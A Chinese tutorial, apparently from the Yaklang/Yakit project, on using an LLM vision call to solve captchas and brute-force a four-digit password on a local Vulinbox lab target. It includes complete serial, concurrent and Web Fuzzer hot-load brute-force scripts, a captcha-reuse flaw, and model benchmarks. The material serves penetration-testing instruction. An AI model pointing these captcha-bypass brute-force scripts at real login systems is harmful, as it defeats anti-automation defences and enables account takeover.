


前言
打开一个后台管理系统,一般来说可能仅仅是一个登录框。用户名、密码、验证码——三个输入框,一个提交按钮。密码可以爆破,用户名可以枚举,但验证码这个东西,一直是渗透测试中一个绕不开的拦路虎。
传统的解决思路无外乎几种:
1.使用 ddddocr 等开源 OCR 库,部署一套 Python 服务来识别验证码。问题在于,需要额外维护一套 Python 环境,模型对复杂验证码的识别率也不稳定,遇到扭曲、干扰线多的验证码就容易翻车。
2.接码平台。花钱买识别结果,成本不低,还有延迟问题。对于内部渗透测试这种不方便把数据外传的场景,也存在合规风险。
3.手动绕过。找逻辑漏洞、看验证码是否绑定 session、是否可以复用——运气好的时候管用,运气不好就只能干瞪眼。
这几种方式的共同问题是:要么成本高,要么不够通用,要么依赖外部环境。
那么在 AI 时代,有没有一种更直接的方式,不需要额外部署服务,不需要花钱买接码,直接在 Yaklang 里几行代码就能解决验证码识别?
实际上,Yaklang 的ai模块提供了ai.FunctionCall这个函数,配合 ai.imageBase64,可以让大模型直接"看懂"验证码图片,并把识别结果以结构化数据的形式返回给我们。不用训练模型,不用部署额外服务,Yakit 中配好了 AI 网关之后,几行代码就够了。
在本文中,我们将会以一个真实的验证码靶场为案例,完整演示一套递进的方案:
1.先用一个 Yak 脚本自动化爆破验证码保护的登录表单,在这个过程中顺手发现一个验证码逻辑漏洞。
2.然后面对正确实现的验证码(每次提交后立即作废),分别编写基础版和并发版爆破脚本。
3.再通过 Web Fuzzer 热加载方案,把验证码识别直接集成到 Yakit 的 GUI 操作流中。
4.最后用 Benchmark 测试,用数据说明 AI 识别验证码的成功率到底有多高
当然本篇内容的靶场和使用案例也并不是空想,而是来源于真实案例的总结和抽象。
一、准备工作
YAK
认识靶场:验证码 + 四位密码
我们的测试目标是 Vulinbox中的一个验证码场景,运行在 http://127.0.0.1:8787/verification/op。

页面很直白:一张验证码图片、一个验证码输入框、一个密码输入框。页面上还贴心地告诉我们——"密码差不多是四位数字,但是是为了防止你爆破加了验证码,所以你得想点办法"。
那么我们先来梳理一下这个验证码服务的完整交互流程:

分析一下关键要点:
1.验证码与 Session 绑定。每次 GET /verification/op 都会生成一个新的 YSESSIONID,验证码图片通过 /verification/code 获取时才会真正生成 captcha.Data 并绑定到 session 上。
2.密码空间有限。密码是启动时随机生成的四位数字,范围 0000-9999,总共 10000 种可能。如果没有验证码拦截,暴力枚举并不是什么难事。
3.核心矛盾很清楚。要爆破密码,就必须同时解决验证码问题——每次尝试一个密码,都需要先获取一张验证码图片、识别它、然后和密码一起提交。
那么接下来的问题就变成了:如何高效且准确地识别每一张验证码?
YAK
认识ai.FunctionCall:让AI提取结构化数据
在动手写爆破脚本之前,我们先来了解一下核心武器——ai.FunctionCall。
ai.FunctionCall 是 Yaklang ai 模块中的一个函数,做的事情很直接:给 AI 一段输入(文字或图片),告诉它期望的输出格式,它就会返回对应格式的结构化数据。
为什么我们要关心这个函数?因为传统的 OCR 方案说白了是模式匹配——用训练好的模型去匹配字符形状。而 ai.FunctionCall 走的是一条不同的路线:它让大模型去"理解"图片内容,然后按照我们指定的格式返回结果。大模型在图像理解上的能力远超传统 OCR,尤其面对有扭曲、干扰线、颜色混淆的验证码时,识别率要高出不少。
那么如何使用它?我们直接看代码:
result, err = ai.FunctionCall(`执行数据标注任务,从图片中提取展示内容文本,放置在结果中`,{"code": "从图片中提取的验证码类似的内容"},ai.imageBase64(imageBase64Data),)captchaText = result["code"]
三个参数分别是:
1.自然语言指令。告诉 AI 要做什么。这里我们让它"从图片中提取展示内容文本"。指令写得越清晰,结果越准确。
2.期望输出结构。一个 map,key 是字段名,value 是对这个字段的自然语言描述。AI 会按照这个结构返回结果。在这里我们只需要一个 code字段,用来存放识别出的验证码文本。
3.图片数据。通过 ai.imageBase64() 传入 Base64 编码的图片。Yaklang 还支持 ai.imageFile() 直接传文件路径、ai.imageRaw() 传原始字节,用哪个看场景。
返回值 result 是一个 map[string]any,直接用 result["code"] 就能拿到识别出的验证码文本。
理解了这个接口之后,我们就可以开始组装爆破脚本了。
二、脚本实战
YAK
脚本实战:一个脚本干掉验证码服务

这里有一个细节值得注意:在实际测试中我们发现,这个靶场的验证码在密码错误后并不会刷新——同一个 session 里的验证码是可以复用的。因此最优的策略是:先识别一次验证码,然后用同一个验证码快速遍历所有密码;只有当验证码识别失败时(服务端返回 verification code not match),才需要重新获取 session 和验证码。
这意味着我们只需要调用一次(或很少几次)AI,就可以完成整个爆破。
接下来是完整的 Yak 脚本:
target = "http://127.0.0.1:8787"// 封装获取 session + 识别验证码的逻辑getSessionAndCaptcha = func() {rsp, _, err = poc.Get(target + "/verification/op")die(err)sessionCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, "YSESSIONID")codeRsp, _, err = poc.Get(target + "/verification/code",poc.header("Cookie", sprintf("YSESSIONID=%v", sessionCookie)),)die(err)imageBase64 = codec.EncodeBase64(codeRsp.GetBody())result, err = ai.FunctionCall(`执行数据标注任务,从图片中提取展示内容文本,放置在结果中`,{"code": "从图片中提取的验证码类似的内容"},ai.imageBase64(imageBase64),)die(err)captchaCode = result["code"]log.info("new session: %v, recognized captcha: %v", sessionCookie, captchaCode)return sessionCookie, captchaCode}cookie, captcha = getSessionAndCaptcha()for i = 0; i < 10000; i++ {passStr = sprintf("%04d", i)log.info("trying password: %v with captcha: %v", passStr, captcha)submitRsp, _, err = poc.Post(target + "/verification/op",poc.header("Cookie", sprintf("YSESSIONID=%v", cookie)),poc.replacePostParam("code", captcha),poc.replacePostParam("password", passStr),)if err != nil {log.error("submit failed: %v", err)cookie, captcha = getSessionAndCaptcha()continue}body = string(submitRsp.GetBody())// 验证码被拒绝,说明识别错了,重新获取if body.Contains("verification code not match") {log.warn("captcha was wrong, getting new session and captcha...")cookie, captcha = getSessionAndCaptcha()i--continue}// 验证码正确但密码错误,继续下一个密码if body.Contains("密码错误") {continue}// 既没有验证码错误也没有密码错误,说明成功了log.info("SUCCESS! password is: %v", passStr)println(body)break}
我们来看这个脚本的几个关键点:
1.Session 与验证码一起获取。我们把获取 session、拉验证码图片、AI 识别封装成一个函数 getSessionAndCaptcha,需要的时候调一次就行。
2.验证码可以复用。这个靶场在密码错误后不会刷新验证码,因此识别一次就够了。只有当验证码本身识别错了(服务端返回 verification code not match),才需要重新获取。这个发现让爆破效率大幅提升——从每次密码都要调 AI,变成只调用一次。
3.AI 识别的调用很简洁。codec.EncodeBase64 编码、ai.FunctionCall 识别、result["code"] 取结果,三步完成。
4.容错处理。验证码错误时 i-- 回退计数器,确保不跳过任何密码。
在笔者的实际测试中,AI 识别出验证码后服务端接受,快速遍历密码,大约 20 秒内就命中了正确密码。

YAK
验证码逻辑漏洞:未删除旧数据
Wait a Minute,事情还没结束。
细心的读者可能已经注意到了上面脚本中一个不太对劲的地方——我们只识别了一次验证码,就可以用它遍历所有 10000 个密码。这意味着什么?
我们回头看服务端的行为:密码错误后,验证码没有被刷新,session 里的 captcha 数据还在。这实际上是一个验证码逻辑漏洞——验证码在使用后没有被删除,可以无限复用。
在真实的渗透测试中,这种逻辑漏洞并不少见。后端开发者可能只在验证码不匹配时刷新验证码,却忽略了"验证码正确但密码错误"这个分支。结果就是:攻击者只需要识别一次验证码,就等于验证码保护形同虚设。
这个漏洞虽然降低了我们的爆破难度,但在实战中我们更常面对的是正确实现的验证码——每次提交后验证码立即作废,无论对错。
那么面对这种更严格的验证码保护,我们的 AI 方案还能不能扛住?
三、安全版验证码:每次提交后立即作废
在 Vulinbox 中,我们同样准备了一个安全实现的验证码场景,运行在 /verification/safe/op。和前面的漏洞版本相比,安全版本做了一个关键的改动:
每次 POST 提交后,无论验证码对错、密码对错,session 中的验证码数据都会被立即删除。
这意味着攻击者每尝试一个密码,都必须重新获取验证码图片、重新 AI 识别。没有任何捷径可走。

那么我们应该怎么处理这种情况?
YAK
基础版:串行爆破
最直接的思路——每次密码尝试都走一遍完整流程:获取 session → 获取验证码 → AI 识别 → 提交。逻辑清晰,代码简洁,适合理解整个工作流程。
target = "http://127.0.0.1:8787"cookieName = "YSESSIONID_SAFE"for i = 0; i < 10000; i++ {passStr = sprintf("%04d", i)rsp, _, err = poc.Get(target + "/verification/safe/op")if err != nil { log.error("get page failed: %v", err); continue }cookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)codeRsp, _, err = poc.Get(target + "/verification/safe/code", poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)))if err != nil { log.error("get captcha failed: %v", err); continue }imageBase64 = codec.EncodeBase64(codeRsp.GetBody())result, err = ai.FunctionCall(`执行数据标注任务,从图片中提取展示内容文本,放置在结果中`, {"code": "从图片中提取的验证码类似的内容"}, ai.imageBase64(imageBase64))if err != nil { log.error("ai failed: %v", err); continue }captchaCode = result["code"]log.info("trying password: %v, captcha: %v", passStr, captchaCode)submitRsp, _, err = poc.Post(target + "/verification/safe/op", poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)), poc.replacePostParam("code", captchaCode), poc.replacePostParam("password", passStr))if err != nil { log.error("submit failed: %v", err); continue }body = string(submitRsp.GetBody())if body.Contains("verification code not match") {log.warn("captcha wrong, will retry this password")i--continue}if !body.Contains("密码错误") {log.info("SUCCESS! password is: %v", passStr)println(body)break}}
这个脚本的逻辑和前面漏洞版本的区别在于:每次循环都是一个完整的独立流程。不存在验证码复用,每一次密码尝试都必须先让 AI 看一遍新的验证码图片。
基础版的问题也很明显——串行执行,每次密码尝试大约需要 2 秒(主要是 AI 调用的延迟)。遍历 10000 个密码理论上需要 5 个多小时。对于渗透测试来说,这个速度有些不够看。
那么有什么办法加速?
YAK
进阶版:并发爆破
既然每次密码尝试都是一个独立的 session,互不干扰,那我们完全可以并行执行多个尝试。用多个 worker 同时发起独立的 session、独立识别验证码、独立提交,密码空间被自然地分摊到各个 worker 上。

并发版脚本如下:
target = "http://127.0.0.1:8787"cookieName = "YSESSIONID_SAFE"concurrency = 5found = falsefoundPass = ""tryPassword = func(passStr) {for retries = 0; retries < 3; retries++ {if found { return }rsp, _, err = poc.Get(target + "/verification/safe/op")if err != nil { log.error("get page failed: %v", err); continue }cookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)codeRsp, _, err = poc.Get(target + "/verification/safe/code", poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)))if err != nil { log.error("get captcha failed: %v", err); continue }imageBase64 = codec.EncodeBase64(codeRsp.GetBody())result, err = ai.FunctionCall(`执行数据标注任务,从图片中提取展示内容文本,放置在结果中`, {"code": "从图片中提取的验证码类似的内容"}, ai.imageBase64(imageBase64))if err != nil { log.error("ai failed: %v", err); continue }captchaCode = result["code"]log.info("trying password: %v, captcha: %v", passStr, captchaCode)submitRsp, _, err = poc.Post(target + "/verification/safe/op", poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)), poc.replacePostParam("code", captchaCode), poc.replacePostParam("password", passStr))if err != nil { log.error("submit failed: %v", err); continue }body = string(submitRsp.GetBody())if body.Contains("verification code not match") {log.warn("captcha wrong for password %v, retrying (%d/3)...", passStr, retries+1)continue}if !body.Contains("密码错误") {found = truefoundPass = passStrlog.info("SUCCESS! password is: %v", passStr)}return}}swg = sync.NewSizedWaitGroup(concurrency)for i = 0; i < 10000; i++ {if found { break }passStr = sprintf("%04d", i)swg.Add()go func {defer swg.Done()tryPassword(passStr)}}swg.Wait()if found {log.info("brute force completed, password: %v", foundPass)} else {log.info("brute force completed, password not found")}
并发版的几个关键设计:
1.sync.NewSizedWaitGroup(5) 控制并发数。5 个 worker 同时跑,吞吐量提升到串行版的约 5 倍。可以根据 AI 接口的并发限制灵活调整。
2.每个 goroutine 完全独立。独立的 session、独立的验证码、独立的 AI 识别——session 之间没有任何状态共享,天然适合并发。
3.验证码识别失败自动重试。tryPassword内部有最多 3 次重试,避免因为偶尔的 AI 识别失误就跳过某个密码。
4.全局 found 标志。任何一个 worker 成功后,其他 worker 会在下一轮循环前检查到 found 标志并退出。
在笔者的测试中,5 个并发 worker 大约每秒可以尝试 2-3 个密码。相比串行版的每 2 秒一个密码,效率提升显著。

四、进阶:热加载方案嵌入Web Fuzzer
比如说,我们已经在 Web Fuzzer 里构造好了请求数据包,密码字段用了 {{int(0000-9999|4)}} 来枚举,但验证码字段怎么办?总不能手动一个一个填吧。
这时候 Web Fuzzer 的热加载就派上用场了。热加载允许我们编写一段 Yak 代码,在每个请求发出之前对请求内容进行修改。我们只需要定义一个 beforeRequest 函数,Web Fuzzer 在发出每个请求前会自动调用它。
热加载入口的标准签名是:
// beforeRequest 允许在每次发送数据包前对请求做最后的处理// https - 请求是否为 https 请求// originReq - 原始请求(未经过 Fuzzer 标签渲染)// req - 即将发送的请求(已经过 Fuzzer 标签渲染)beforeRequest = func(https, originReq, req) {return req}

YAK
思路:每次请求都换一套 Session + 验证码
在前面的脚本实战中我们已经验证:安全版验证码每次提交都会作废,所以 Web Fuzzer 中如果想爆破密码,每个请求都必须配一对全新的 (session, 验证码)。简单复用模板里的 Cookie 是行不通的。
那么 beforeRequest 里要做的事情就清楚了:
1.现场获取一个新的 session。GET /verification/safe/op 拿到 Set-Cookie: YSESSIONID_SAFE=xxx
2.用这个 session 拉验证码图片。GET /verification/safe/code 携带刚拿到的 Cookie
3.AI 识别验证码
4.改写传入的请求:把请求中的 YSESSIONID_SAFE Cookie 替换为新的,把 POST 参数 code 替换为识别结果
5.返回改写后的请求,密码字段保持 Fuzzer 标签自然枚举
YAK
Web Fuzzer 的请求模板
请求模板就是一个最普通的 POST 表单提交,验证码字段用占位值 temp(反正会被热加载覆盖),密码字段用 Fuzzer 标签 {{int(0000-9999|4)}} 来枚举。Cookie 也填一个占位值,热加载会替换掉它:
POST /verification/safe/op HTTP/1.1Host: 127.0.0.1:8787Content-Type: application/x-www-form-urlencodedCookie: YSESSIONID_SAFE=PLACEHOLDERcode=temp&password={{int(0000-9999|4)}}
YAK
完整的热加载代码(v1:单次识别)
我们先把上面四步落到代码上。注意,下面这段是第一版——只处理"识别一次"的情况,识别错了直接吃下去:
target = "http://127.0.0.1:8787"cookieName = "YSESSIONID_SAFE"beforeRequest = func(https, originReq, req) {// 1. 获取一个全新的 sessionrsp, _, err = poc.Get(target + "/verification/safe/op")if err != nil {log.error("get session failed: %v", err)return req}newCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)// 2. 用这个 session 拉一张验证码图片codeRsp, _, err = poc.Get(target + "/verification/safe/code",poc.header("Cookie", sprintf("%v=%v", cookieName, newCookie)),)if err != nil {log.error("get captcha failed: %v", err)return req}// 3. AI 识别imageBase64 = codec.EncodeBase64(codeRsp.GetBody())result, err = ai.FunctionCall(`执行数据标注任务,从图片中提取展示内容文本,放置在结果中`,{"code": "从图片中提取的验证码类似的内容"},ai.imageBase64(imageBase64),)if err != nil {log.error("ai recognize captcha failed: %v", err)return req}captchaCode = result["code"]log.info("recognized captcha: %v", captchaCode)// 4. 改写请求:替换 Cookie 和 code 字段req = poc.ReplaceHTTPPacketCookie(req, cookieName, newCookie)req = poc.ReplaceHTTPPacketPostParam(req, "code", captchaCode)return req}
四步对应得很整齐:拉session、拉验证码、AI 识别、改写请求。poc.ReplaceHTTPPacketCookie 和 poc.ReplaceHTTPPacketPostParam 这两个函数会自动处理 Content-Length 等细节,我们不用手动维护。
把这段贴到 Web Fuzzer 里跑一下,会看到一个尴尬的现象——

不少请求的响应都是verification code not match。这正是前面Benchmark 章节里 57% 单次识别率的直接体现:每 10个 请求里,大约会有 4 个因为 AI 没认对验证码而被服务端拒掉,密码相当于白试了。
那么我们要怎么处理这种情况?
YAK
配合重试:retryHandler
Web Fuzzer 的热加载除了 beforeRequest,还提供了另外两个非常关键的钩子:

这个钩子刚好就是为我们这个场景准备的。思路立刻就出来了:
1.retryHandler重新走一遍"拉 session → 拉验证码 → AI 识别 → 改写请求",然后调用 retry(newReq) 用新请求重试。
那么有一个问题——beforeRequest 和 retryHandler 都需要"拉 session → AI 识别 → 改写请求"这同一段逻辑。直接复制粘贴当然能跑,但代码就重复了。我们把这段公共逻辑抽成一个函数 recognizeAndPatch(req):
YAK
完整的热加载代码(v2:带重试)
target = "http://127.0.0.1:8787"cookieName = "YSESSIONID_SAFE"maxRetry = 6 // 单次成功率 ~57%,6 次重试覆盖 99% 以上// === 公共函数:拉 session、AI 识别验证码、改写传入的请求 ===recognizeAndPatch = func(req) {rsp, _, err = poc.Get(target + "/verification/safe/op")if err != nil {log.error("get session failed: %v", err)return req}newCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)codeRsp, _, err = poc.Get(target + "/verification/safe/code",poc.header("Cookie", sprintf("%v=%v", cookieName, newCookie)),)if err != nil {log.error("get captcha failed: %v", err)return req}imageBase64 = codec.EncodeBase64(codeRsp.GetBody())result, err = ai.FunctionCall(`执行数据标注任务,从图片中提取展示内容文本,放置在结果中`,{"code": "从图片中提取的验证码类似的内容"},ai.imageBase64(imageBase64),)if err != nil {log.error("ai recognize captcha failed: %v", err)return req}captchaCode = result["code"]log.info("session=%v, captcha=%v", newCookie, captchaCode)req = poc.ReplaceHTTPPacketCookie(req, cookieName, newCookie)req = poc.ReplaceHTTPPacketPostParam(req, "code", captchaCode)return req}// === HOOK:beforeRequest —— 每个新请求发出前先识别一次 ===beforeRequest = func(https, originReq, req) {return recognizeAndPatch(req)}// === HOOK:retryHandler —— 重试时重新识别一次再发 ===retryHandler = func(https, retryCount, req, rsp, retry) {if retryCount > maxRetry {log.Error("Recog error for code")return}body = string(poc.GetHTTPPacketBody(rsp))if body.Contains("verification code not match") {newReq = recognizeAndPatch(req)retry(newReq)}}
四个关键点:
1.公共函数 recognizeAndPatch(req)。把"换 session + AI 识别 + 改写请求"封装成一个纯函数,接收原请求、返回新请求。beforeRequest和retryHandler 都调用它,逻辑只有一份。
2.beforeRequest 只剩一行。所有重活都委托给公共函数。
3.retryHandler 重新识别后调 retry。retryCount 是当前已经重试的次数,超过 maxRetry(这里设 6)就放弃。每次重试都重新拉一对全新的 (session, 验证码),所以哪怕连续几次都被 AI 认错,也能继续往下重试。
为什么 maxRetry 设 6?回到 Benchmark 章节:单次成功率 ~57%,6 次重试累积成功率 99.37%。换句话说,1000 个密码里,最多只有 6 个会因为重试 6 次都失败而漏掉。这个比例完全可以接受。
五、调试与使用
YAK
调试:先在 YAK Runner 里跑一遍
这套涉及两个回调的逻辑要是直接上 Web Fuzzer 调起来非常麻烦。
这里先明确一下 retryHandler的调度语义:只要热加载里定义了retryHandler,Web Fuzzer 每个请求发完都会把响应交给它,是否真的重试完全由 retryHandler自己决定——
如果它调用了
retry(newReq),Web Fuzzer 就用newReq再发一次(并把retryCount + 1再丢进来);如果它直接
return(不调retry),这次请求就算结束,不会重试。
换句话说,"失败判定"和"改写请求"都收敛在 retryHandler 一个函数里,不需要再去配 customFailureChecker 或 UI 上的失败关键字。这也是我们只用 beforeRequest + retryHandler 两个钩子就能闭环的原因。
我们直接用 YAK Runner 模拟 Web Fuzzer 的调用顺序:先调 beforeRequest拿到改写过的请求 → 实际发出 → 把响应交给 retryHandler → 如果 retryHandler 决定重试,再实际发一次。
target = "http://127.0.0.1:8787"cookieName = "YSESSIONID_SAFE"maxRetry = 6template = `POST /verification/safe/op HTTP/1.1Host: 127.0.0.1:8787Content-Type: application/x-www-form-urlencodedCookie: YSESSIONID_SAFE=PLACEHOLDERcode=temp&password=0000`// === 下面这一段(公共函数 + 两个钩子)就是要粘贴到 Web Fuzzer 里的代码 ===recognizeAndPatch = func(req) {rsp, _, err = poc.Get(target + "/verification/safe/op")if err != nil { log.error("get session failed: %v", err); return req }newCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)codeRsp, _, err = poc.Get(target + "/verification/safe/code",poc.header("Cookie", sprintf("%v=%v", cookieName, newCookie)),)if err != nil { log.error("get captcha failed: %v", err); return req }imageBase64 = codec.EncodeBase64(codeRsp.GetBody())result, err = ai.FunctionCall(`执行数据标注任务,从图片中提取展示内容文本,放置在结果中`,{"code": "从图片中提取的验证码类似的内容"},ai.imageBase64(imageBase64),)if err != nil { log.error("ai failed: %v", err); return req }captchaCode = result["code"]log.info("session=%v, captcha=%v", newCookie, captchaCode)req = poc.ReplaceHTTPPacketCookie(req, cookieName, newCookie)req = poc.ReplaceHTTPPacketPostParam(req, "code", captchaCode)return req}beforeRequest = func(https, originReq, req) {return recognizeAndPatch(req)}retryHandler = func(https, retryCount, req, rsp, retry) {if retryCount > maxRetry {log.error("captcha recognize retry exceeded: %v", retryCount)return}body = string(poc.GetHTTPPacketBody(rsp))if body.Contains("verification code not match") {newReq = recognizeAndPatch(req)retry(newReq)}}// ============ 调试入口:模拟 Web Fuzzer 的调用链 ============log.info("=== Step 1: beforeRequest ===")req1 = beforeRequest(false, []byte(template), []byte(template))println(string(req1))log.info("=== Step 2: send req1 ===")rsp1, _, err = poc.HTTP(req1, poc.host("127.0.0.1"), poc.port(8787))die(err)println(string(rsp1))log.info("=== Step 3: retryHandler ===")// 用一个闭包模拟 Web Fuzzer 传进来的 retry 回调:// retryHandler 调用 retry(newReq) 时,把 newReq 捕获下来;不调则 retryReq 保持为空。retryReq = []byte("")retry = func(reqs...) {if len(reqs) > 0 { retryReq = reqs[0] }}retryHandler(false, 1, req1, rsp1, retry)if len(retryReq) == 0 {log.info("retryHandler decided NOT to retry - step 1 already succeeded (no captcha mismatch)")return}log.info("=== Step 4: send retry request ===")rsp2, _, err = poc.HTTP(retryReq, poc.host("127.0.0.1"), poc.port(8787))die(err)println(string(rsp2))body2 = string(poc.GetHTTPPacketBody(rsp2))if body2.Contains("verification code not match") {log.warn("retry STILL FAILED - Web Fuzzer will keep calling retryHandler until maxRetry")} else {log.info("RETRY SUCCESS: captcha recognized correctly, full hook chain works end-to-end")}
这个调试脚本会出现两种情况,对应 retryHandler 的两条分支:
1.第一次就识别正确:Step 2 的响应体里不包含 verification code not match,retryHandler 里的 if 条件不成立,不会调用 retry,retryReq 保持为空。脚本在 Step 3 之后就 return 了——这正是"一次过"的情况。
2.第一次识别错误:Step 2 的响应体里包含 verification code not match,retryHandler 内部重新调 recognizeAndPatch 拿到一对新的 (session, 验证码),然后 retry(newReq) 把新请求捕获到 retryReq 里;Step 4 实际发出去,看到 密码错误 之类的响应就说明两个钩子已经完整联动。
笔者实测时刚好命中了第二种情况:第一次识别 sdgq 错了,retryHandler 在第二次用 b8Ez 通过了校验,整套钩子按预期串起来。具体实际测试效果应该如图日志所展示的类似:

YAK
在 Web Fuzzer 中使用
调试通过之后,回到 Web Fuzzer:
1.把上面"v2 完整热加载代码"整段粘贴到热加载编辑器;
2.在请求模板中,按"Web Fuzzer 的请求模板"那一节的格式填入数据包,密码字段用 {{int(0000-9999|4)}},Cookie 写一个占位值即可(真正的值会由 beforeRequest 覆盖掉);
3.打开重试开关——这是让 Web Fuzzer 进入重试调度、从而调用 retryHandler 的前提。UI 上的"重试次数"建议填 6 跟 maxRetry 保持一致;不过注意,配置了 retryHandler 之后,真正的终止条件其实是 retryHandler 内部的 retryCount > maxRetry 判断,UI 数值更多是给人看的语义对齐;
4.配置好并发数(建议 5-10),点击发送。


【配图:Web Fuzzer 爆破过程中的结果列表截图,展示成功命中的请求和被自动重试的请求】
跑起来之后能看到,相比 v1 版本,响应里 verification code not match 的请求会被 retryHandler 拦下来、换一对全新的 (session, 验证码) 之后自动重发,最终落到结果列表里的几乎都是有效的密码错误或者最终命中的 secret 页面,AI 识别失败的密码不再被白白浪费。
热加载方案的优势在于,验证码识别的逻辑和 Web Fuzzer 的爆破能力直接打通了。我们不需要自己写爆破循环、不需要自己管理并发和重试,只需要关注"如何识别验证码"这一件事,剩下的并发控制、字典管理、重试调度、结果展示都交给 Web Fuzzer。整套方案只用到了 beforeRequest 和 retryHandler 两个钩子,失败判定被收敛在 retryHandler 里,没有引入额外的失败检测机制。
并且这段热加载代码是可以复用的——换一个目标,只需要改一下 target、cookieName、验证码图片的路径以及 retryHandler 里的失败关键字(verification code not match),核心的 AI 识别逻辑完全不用动。
六、AI模型识别验证码
方案跑通了,下一个该回答的问题:AI 识别验证码的准确率到底有多少?选哪个模型?
热加载里我们写的是 ai.FunctionCall(..., ai.model("xxx")),换模型就是改一行字符串。所以"选哪个模型"本质就是一次横向 Benchmark——比的东西也很直白:单次成功率、耗时、价格。
YAK
Benchmark 脚本
笔者用 vulinbox 的安全版验证码做对比。
/verification/safe/op 这条路径每次 POST 校验后会立刻把验证码从 session 里删掉(delete(val, "code")),验证码用一次即废。下次必须拉全新的一对 (session, 验证码),和 Web Fuzzer 里每次爆破请求的工作方式一致。
服务端对"验证码不对"的回包是精确的字符串 verification code not match,单次失败的判定直接看这个就行。
核心逻辑和前面热加载里的 recognizeAndPatch 相同。唯一差别:把识别出来的 code 配合故意错的密码 0000 提交给 /verification/safe/op,然后看响应里有没有 verification code not match——
没有 → AI 认对了(服务端进入"密码错误"分支)
有 → AI 认错了
把单次流程塞进 sized-wait-group,就成了一个可并发的 Benchmark runner:
target = cli.String("target", cli.setDefault("http://127.0.0.1:8787"))modelName = cli.String("model", cli.setDefault("memfit-vision-free"))total = cli.Int("total", cli.setDefault(300))concurrent = cli.Int("concurrent", cli.setDefault(10))cli.check()cookieName = "YSESSIONID_SAFE"mu = sync.NewMutex()successCount := 0captchaFailCount := 0aiErrCount := 0costs := []swg = sync.NewSizedWaitGroup(concurrent)for i := 0; i < total; i++ {swg.Add()idx := igo func {defer swg.Done()// 1) 拉 session + 拉验证码rsp, _, err := poc.Get(target + "/verification/safe/op")if err != nil { return }cookie := poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)codeRsp, _, err := poc.Get(target + "/verification/safe/code",poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)),)if err != nil { return }// 2) AI 识别,用 ai.model 指定要测试的模型aiStart := time.Now()b64 := codec.EncodeBase64(codeRsp.GetBody())result, err := ai.FunctionCall(`执行数据标注任务,从图片中提取展示内容文本,放置在结果中`,{"code": "从图片中提取的验证码类似的内容"},ai.imageBase64(b64),ai.model(modelName),ai.funcCallRetryTimes(1),)costMs := time.Now().Sub(aiStart).Milliseconds()if err != nil {mu.Lock(); aiErrCount++; costs = append(costs, costMs); mu.Unlock()return}// 3) 提交:故意用错密码,让服务端走到验证码判定分支submitRsp, _, _ := poc.Post(target + "/verification/safe/op",poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)),poc.replacePostParam("code", sprint(result["code"])),poc.replacePostParam("password", "0000"),)mu.Lock()costs = append(costs, costMs)if str.Contains(string(submitRsp.GetBody()), "verification code not match") {captchaFailCount++} else {successCount++}mu.Unlock()}}swg.Wait()
脚本里几个需要说明的点:
单次成功率的分母只算
success + captcha_fail。AI 网关偶尔会给出 EOF 之类的错误(下面的结果里出现了 0~13 次),这些属于基础设施抖动,单独计到ai_error,不进分母。每轮只有两次 HTTP 加一次 AI 调用。session 独立,验证码用后即废,和 Web Fuzzer 真实爆破的工作流一致。
ai.funcCallRetryTimes(1)允许底层 JSON 解析失败时快速重试一次,避免模型偶尔返回不规范结构带来的噪声污染数据。
YAK
测试设置
目标:vulinbox
/verification/safe/*(本地127.0.0.1:8787)每个模型 300 次独立识别
并发度 10
ai.model("<模型名>")切换模型,脚本其它部分不变
笔者选了六个 aibalance 网关上公开可用的模型,覆盖四条典型路线:通用 flash、视觉特化、大模型 no-thinking、超大规模。
memfit-qwen3.5-flash-freememfit-qwen3.6-flash-freememfit-qwen3-vl-flash-freememfit-qwen3-vl-plus-freememfit-qwen3.6-plus-no-thinking-freememfit-kimi-k2.5-free(本次对比里参数规模最大)
YAK
测试结果
六个模型各 300 次独立识别:

先说最反常识的一条:参数规模最大的 memfit-kimi-k2.5-free 综合排在最后。
单次成功率垫底 35.02%,比 qwen3.5-flash 低 22 个百分点
单次耗时 10549 ms,是 flash 系列的 7~10 倍
300 次并发 10 跑完要 5 分 20 秒
笔者的理解:Kimi k2.5 定位偏长上下文推理,视觉编码更多用在语义密集的图文理解上。面对四个扭曲字符的短 OCR,它会"过度推理"——先判断字体风格、再试图理解语义、最后才产出字符,每一步都在烧 token。
flash 系列走的是另外一条路:短输出延迟优化。"图进字出"的场景正好落在它的甜区里。
其它几条规律:
1.三个 57% 梯队的模型(qwen3.5-flash 57.49% / qwen3.6-plus-no-thinking 57.53% / qwen3.6-flash 56.90%)差距完全在统计噪声里——300 样本的标准差约 ±2.8 pp,三者在同一水平线。
2.memfit-qwen3.6-flash-free 综合最优:耗时 1226 ms,成功率和头部平齐,AI 错误只有 3 次。成功率、耗时、稳定性三项同时到一线的只有它一个。
3.memfit-qwen3.6-plus-no-thinking-free单次成功率 57.53% 略高,但 1697 ms 的耗时比 flash 重一半。
4.VL 系列(专门对齐视觉的变体)在这道题上反而落后,qwen3-vl-flash 只有 48.33%,qwen3-vl-plus 54.79%、P95 到 3435 ms。"专门 vision" 在这种短字符 OCR 上没体现出优势,模型更大只是把延迟拉了起来。
YAK
价格与性价比
memfit-*-free 都是 aibalance 网关上的免费别名。直接沿用热加载代码的读者不会产生任何费用。
接官方 API 或要在生产环境大规模跑,就得把"每识别成功一次花多少钱"算清楚。这个指标比单次成功率更接近工程决策。
以下按"单次 ≈ 500 input tokens(含图片 vision tokens + prompt)+ 50 output tokens(JSON 结果体)"保守估算。价格取 2026-04 的公开定价,USD / 百万 tokens。

价格来源:pricepertoken / aimodelapis / llmgateway / cloudprice 上公开的 Alibaba DashScope、Moonshot AI 官方定价。官方会不定期调整,以实际账单为准。
三个观察:
1.flash 系列性价比最好。qwen3.5-flash 和 qwen3.6-flash 跑 1000 次成功识别约 ¥0.57~¥0.58,一毛钱都没到。
